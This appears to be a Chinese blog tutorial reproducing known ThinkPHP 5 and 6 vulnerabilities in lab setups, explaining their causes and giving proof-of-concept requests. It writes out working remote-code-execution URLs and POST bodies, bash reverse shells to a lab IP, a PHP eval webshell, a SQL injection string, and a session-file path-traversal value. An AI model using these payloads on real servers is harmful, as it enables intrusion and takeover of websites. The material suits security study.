ThinkPHP常見框架漏洞復現(xiàn)分析
Thinkphp是一個國內(nèi)輕量級的開發(fā)框架,采用php+apache,在更新迭代中,thinkphp也經(jīng)常爆出各種漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前兩個版本已經(jīng)停止更新,一般也沒有人再繼續(xù)用,所以就不再做復現(xiàn)了,本篇文章主要介紹下thinkphp5、6的漏洞
Thinkphp5 5.0.22/5.1.29 遠程代碼執(zhí)行漏洞
漏洞成因:由于沒有正確處理控制器名,導致在網(wǎng)站沒有開啟強制路由的情況下(即默認情況下)可以執(zhí)行任意方法,從而導致遠程命令執(zhí)行漏洞。
影響版本:
5.0<thinkphp<=5.0.22
5.1<thinkphp<=5.1.29< p="">
環(huán)境:vulhub
驗證漏洞POC
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
簡單說一下POC:invokefunction調(diào)用call_user_func_array方法, call_user_func_array函數(shù)接受兩個參數(shù),第一個為函數(shù)名,第二個為函數(shù)參數(shù)數(shù)組,上面的意思是通過call_user_func_array函數(shù)調(diào)用system函數(shù)執(zhí)行whoami命令。
此漏洞產(chǎn)生的關鍵原因在routeCheck函數(shù)中,關鍵代碼如下
// 路由無效 解析模塊/控制器/操作/參數(shù)... 支持控制器自動搜索if (false === $result) {$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);}// var_dump($result['module']);return $result;}
上述代碼中第3行的Route::parseUrl函數(shù)只是簡單的將變量$path=index/think\app/invokefunction按斜杠符號'/'分組,并沒有考慮符號反斜杠'\'的情況 ,result的值為如下所示:
$result = array[3]$result[0] = (string) index$result[1] = (string) think\app$result[2] = (string) invokefunction
最終導致傳入exec函數(shù)的控制器為think\app,而最后通過 $reflect->invokeArgs(isset($class) ? $class : null 來解析類和參數(shù),從而導致命令執(zhí)行漏洞。
反彈shell命令(需進行url編碼)
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=/bin/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.111.128/9999%200%3E%261%22
或者寫入一句話(同樣url編碼)
http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22x%22%5D%29%3F%3E%27%20%3Eshell.php%20
ThinkPHP5 5.0.23 遠程代碼執(zhí)行漏洞
漏洞成因:其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調(diào)用Request類任意方法并構造利用鏈,從而導致遠程代碼執(zhí)行漏洞。
影響版本:
5.0< ThinkPHP<5.0.23
5.1< ThinkPHP<5.1.31
環(huán)境:vulhub
驗證漏洞POC(這里需要注意加上Content-Type: application/x-www-form-urlencoded將請求以URL編碼發(fā)送)
POST /index.php?s=captcha HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

反彈shell(需進行url編碼)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.128/9999+0>%261"
thinkphp 5.0.23 rce源碼下載:https://github.com/top-think/framework/tree/v5.0.23
感興趣的師傅可以看看
ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
漏洞成因:本次漏洞存在于 Builder 類的 parseData 方法中。由于程序沒有對數(shù)據(jù)進行很好的過濾,將數(shù)據(jù)拼接進 SQL 語句,導致 SQL注入漏洞 的產(chǎn)生。
影響版本:
5.0.13<=ThinkPHP<=5.0.15
5.1.0<=ThinkPHP<=5.1.5
環(huán)境搭建:這里vulnhub docker環(huán)境我在kali運行一直報錯,就使用composer搭建環(huán)境吧
1、先下載composer
curl -sS https://getcomposer.org/installer | php2、下載完成之后,要把composer.phar文件移動到bin目錄里面,方便全局使用composer命令
mv composer.phar /usr/local/bin/composer3、切換阿里云Composer鏡像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer4、獲取think5.0.15代碼
composer create-project --prefer-dist topthink/think=5.0.15 v5.0.15下載源碼后,需要對application/index/controller/Index.php內(nèi)容進行修改,如下
<?phpnamespace app\index\controller;use app\index\model\User;class Index{public function index(){$ids = input('ids/a');$t = new User();$result = $t->where('id', 'in', $ids)->select();foreach($result as $row) {echo "<p>Hello, {$row['username']}</p>";}}}
創(chuàng)建數(shù)據(jù)庫信息如下
create database 1_ry;use 1_ry;create table users(id int primary key auto_increment,username varchar(50) not null,);insert into users(id,username) values(1,'1_ry');
然后在 /application/database.php配置數(shù)據(jù)庫,并開啟application/config.php中的app_debug和app_trace


配置完成后訪問
http://127.0.0.1/v5.0.15/public/index.php/?username=)%20union%20select%20updatexml(1,concat(0x7,database(),0x7e),1)%23
這是一個比較雞肋的SQL注入漏洞。必須存在一個這樣的注入點才能利用,并且沒開啟 app_debug 是無法看到 SQL 報錯信息的,限制很多
ThinkPHP v6.0.x 任意文件操作漏洞
漏洞描述:在開啟Session的情況下可以導致創(chuàng)建任意文件以及刪除任意文件,特定情況下可以getshell
影響版本:6.0.0<=thinphp<=6.0.2
環(huán)境同樣使用composer下載源碼搭建, PHP version ">= 7.4.0"
composer create-project --prefer-dist topthink/think=6.0.2 v6.0.2默認是thinkphp6最新版本的,漏洞是已經(jīng)修復了的,所以我們需要對程序進行降級
composer require topthink/framework:6.0.2復現(xiàn)過程:
寫入的session內(nèi)容是由實際的后端業(yè)務邏輯來決定的,所以說只有苛刻的條件下才能寫入webshell。
我們在app\controller\index.php中增加一些代碼后,如下
<?phpnamespace app\controller;use think\facade\Session;use app\BaseController;class Index extends BaseController{public function index(){Session::set('name','thinkphp');return 1;}}
thinkphp6默認是沒有開啟session功能的,我們需要在app/middleware.php文件中,取消session中間件的注釋,設置為如圖

搭建好環(huán)境后打開頁面如圖

抓包只需要構造PHPSESSID的值即可,長度為32

生成的session文件保存在\runtime\session下

里面的內(nèi)容經(jīng)過了序列化操作
a:1:{s:4:"name";s:8:"thinkphp";}如果要利用這個漏洞getshell的話,還要解決兩個問題
session文件內(nèi)容可控,如果后端需要有類似的Session::set('name', $_POST['a']);代碼才可以利用
thinkphp的網(wǎng)站一般會把 /public 設置為網(wǎng)站的根目錄,而生成的文件是在/runtime/session文件夾下面的,默認是訪問不到的但是這個通過,即可繞過PHPSESSID=/../../../public/aaaaaaaaaaa.php

ThinkPHP v6.0.x 反序列化漏洞
影響版本:thinkPHP v6.0.0-6.0.3
環(huán)境:使用上一個漏洞的環(huán)境
版本安裝后默認使用單應用模式部署,url訪問受到路由模式的影響,為了使用方便,我們先要去/config/app.php 中將with_route => false

需要在根目錄下的 /app/controller的index.php里面存在unserialize()函數(shù)且為可控點,例如存在
public function l_Ry(){$a = $_POST['a'];echo $a;unserialize($a);}

POST傳參數(shù)a
http://127.0.0.1/v6.0.2/public/index.php/index/l_Ry
至此環(huán)境就搭建完成了
我跟著網(wǎng)上的資料大概分析了一下
https://blog.csdn.net/cosmoslin/article/details/123102811
https://xz.aliyun.com/t/9546#toc-16
https://blog.csdn.net/weixin_45794666/article/details/123237118
https://xz.aliyun.com/t/9405#toc-3
漏洞的一般起點在__destruct()函數(shù),可利用的函數(shù)在vendor\topthink\think-orm\src\Model.php

中間的過程太繁雜,大體和參考的文章差不多就不寫出來了,順著往下找,最終利用點為
$value = $closure($value, $this->data);完整的POP利用鏈為__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()——>toJson()-->toArray()——>getAttr()——>getData()——>getRealFieldName()——>getValue()
但最后無論是自己構造的poc還是參考文章的poc,全都復現(xiàn)失敗

要是有師傅復現(xiàn)成功了希望能發(fā)篇文章讓小弟學習學習。
參考:
ThinkPHP5 SQL注入:
https://blog.csdn.net/LYJ20010728/article/details/119658872
ThinkPHP6任意文件操作漏洞分析:
https://www.freesion.com/article/8322285585/
